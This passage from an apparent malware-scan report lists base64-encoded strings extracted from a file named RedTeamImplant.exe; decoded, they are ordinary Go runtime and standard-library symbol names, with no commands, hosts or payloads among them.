Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cmluZ10pLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cmluZ10pLlN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IHJ1bnRpbWUuaGVhcCBib29sOyBydW50aW1lLnJhbmdlZnVuYyBib29sOyBydW50aW1lLnNwIHVpbnRwdHI7IHJ1bnRpbWUucGMgdWludHB0cjsgcnVudGltZS5mbiBmdW5jKCk7IHJ1bnRpbWUubGluayAqcnVudGltZS5fZGVmZXI7IHJ1bnRpbWUuaGVhZCAqaW50ZXJuYWwvcnVudGltZS9hdG9taWMuUG9pbnRlcltydW50aW1lLl9kZWZlcl0gfV0pLkNvbXBhcmVBbmRTd2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IHJ1bnRpbWUuaGVhcCBib29sOyBydW50aW1lLnJhbmdlZnVuYyBib29sOyBydW50aW1lLnNwIHVpbnRwdHI7IHJ1bnRpbWUucGMgdWludHB0cjsgcnVudGltZS5mbiBmdW5jKCk7IHJ1bnRpbWUubGluayAqcnVudGltZS5fZGVmZXI7IHJ1bnRpbWUuaGVhZCAqaW50ZXJuYWwvcnVudGltZS9hdG9taWMuUG9pbnRlcltydW50aW1lLl9kZWZlcl0gfV0pLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IHJ1bnRpbWUuciBydW50aW1lLnByb2ZBdG9taWM7IHJ1bnRpbWUudyBydW50aW1lLnByb2ZBdG9taWM7IHJ1bnRpbWUub3ZlcmZsb3cgaW50ZXJuYWwvcnVudGltZS9hdG9taWMuVWludDY0OyBydW50aW1lLm92ZXJmbG93VGltZSBpbnRlcm5hbC9ydW50aW1lL2F0b21pYy5VaW50NjQ7IHJ1bnRpbWUuZW9mIGludGVybmFsL3J1bnRpbWUvYXRvbWljLlVpbnQzMjsgcnVudGltZS5oZHJzaXplIHVpbnRwdHI7IHJ1bnRpbWUuZGF0YSBbXXVpbnQ2NDsgcnVudGltZS50YWdzIFtddW5zYWZlLlBvaW50ZXI7IHJ1bnRpbWUuck5leHQgcnVudGltZS5wcm9mSW5kZXg7IHJ1bnRpbWUub3ZlcmZsb3dCdWYgW111aW50NjQ7IHJ1bnRpbWUud2FpdCBydW50aW1lLm5vdGUgfV0pLlN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IHJ1bnRpbWUuc3BhblNldEJsb2NrSGVhZGVyMjsgcnVudGltZS5zcGFucyBbNTEyXXJ1bnRpbWUuYXRvbWljTVNwYW5Qb2ludGVyIH1dKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpQb2ludGVyW2dvLnNoYXBlLnN0cnVjdCB7IHJ1bnRpbWUuc3BhblNldEJsb2NrSGVhZGVyMjsgcnVudGltZS5zcGFucyBbNTEyXXJ1bnRpbWUuYXRvbWljTVNwYW5Qb2ludGVyIH1dKS5TdG9yZU5vV0I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLkFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLkFuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLkNvbXBhcmVBbmRTd2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLk9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLlN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50MzIpLlN3YXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50NjQpLkFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50NjQpLkNvbXBhcmVBbmRTd2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50NjQpLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50NjQpLlN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50OCkuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50OCkuU3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50cHRyKS5BZGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50cHRyKS5Db21wYXJlQW5kU3dhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50cHRyKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50cHRyKS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVaW50cHRyKS5Td2Fw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVbnNhZmVQb2ludGVyKS5Db21wYXJlQW5kU3dhcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVbnNhZmVQb2ludGVyKS5Db21wYXJlQW5kU3dhcE5vV0I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVbnNhZmVQb2ludGVyKS5Mb2Fk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVbnNhZmVQb2ludGVyKS5TdG9yZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuKCpVbnNhZmVQb2ludGVyKS5TdG9yZU5vV0I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuY2FzUG9pbnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9hdG9taWMuc3RvcmVQb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9leGl0aG9vay5SdW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9leGl0aG9vay5SdW4uZGVmZXJ3cmFwMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9leGl0aG9vay5SdW4uZGVmZXJ3cmFwMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9leGl0aG9vay5SdW4uZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqY3RybEdyb3VwKS5nZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqY3RybEdyb3VwKS5zZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqY3RybEdyb3VwKS5zZXRFbXB0eQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqZ3JvdXBSZWZlcmVuY2UpLmN0cmxz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqZ3JvdXBSZWZlcmVuY2UpLmVsZW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqZ3JvdXBSZWZlcmVuY2UpLmtleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqZ3JvdXBzUmVmZXJlbmNlKS5ncm91cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuRWxlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuZ3Jvd25LZXlFbGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuSW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuSW5pdGlhbGl6ZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuS2V5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikuTmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqSXRlcikubmV4dERpcklkeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5kaXJlY3RvcnlBdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5kaXJlY3RvcnlJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5kaXJlY3RvcnlTZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5nZXRXaXRoS2V5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5nZXRXaXRoS2V5U21hbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5nZXRXaXRob3V0S2V5U21hbGxGYXN0U3Ry","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5ncm93VG9TbWFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5ncm93VG9UYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5pbnN0YWxsVGFibGVTcGxpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5wdXRTbG90U21hbGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5wdXRTbG90U21hbGxGYXN0MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5wdXRTbG90U21hbGxGYXN0NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5wdXRTbG90U21hbGxGYXN0UHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5wdXRTbG90U21hbGxGYXN0U3Ry","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5yZXBsYWNlVGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqTWFwKS5Vc2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLmdldFdpdGhLZXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLmdyb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLm1heEdyb3d0aExlZnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnBydW5lVG9tYnN0b25lcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnJlaGFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnJlc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnNwbGl0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnRvbWJzdG9uZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdGFibGUpLnVuY2hlY2tlZFB1dFNsb3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLigqdW5oYXNoYWJsZVR5cGVFcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmFsaWduVXBQb3cy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5jb3VudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5maXJzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5sb3dlc3RTZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5yZW1vdmVCZWxvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5yZW1vdmVGaXJzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmJpdHNldC5zaGlmdE91dExvd2VzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmN0cmxHcm91cC5tYXRjaEVtcHR5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmN0cmxHcm91cC5tYXRjaEVtcHR5T3JEZWxldGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmN0cmxHcm91cC5tYXRjaEZ1bGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmN0cmxHcm91cC5tYXRjaEgy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmRlcHRoVG9TaGlmdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmZhdGFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmgx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmgy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmxvY2FsRGVwdGhNYXNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLmxvbmdTdHJpbmdRdWlja0VxdWFsaXR5VGVzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm1ha2VQcm9iZVNlcQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm1hcEtleUVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm1hcEtleUVycm9yMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm5ld2FycmF5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLk5ld0VtcHR5TWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm5ld0dyb3Vwcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLk5ld01hcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm5ld29iamVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLm5ld1RhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLnByb2JlU2VxLm5leHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLnJhbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLnR5cGVkbWVtbW92ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLnR5cGVTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9tYXBzLnVuaGFzaGFibGVUeXBlRXJyb3IuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zdHJjb252LkF0b2k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zdHJjb252LkF0b2kzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zdHJjb252LkF0b2k2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zeXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zeXMuTGVhZGluZ1plcm9zNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zeXMuTGVhZGluZ1plcm9zOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvcnVudGltZS9zeXMuT25lc0NvdW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuQ3V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuQ3V0UHJlZml4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvc3RyaW5nc2xpdGUuSGFzUHJlZml4","type":"Ansi","source":"Memory/File 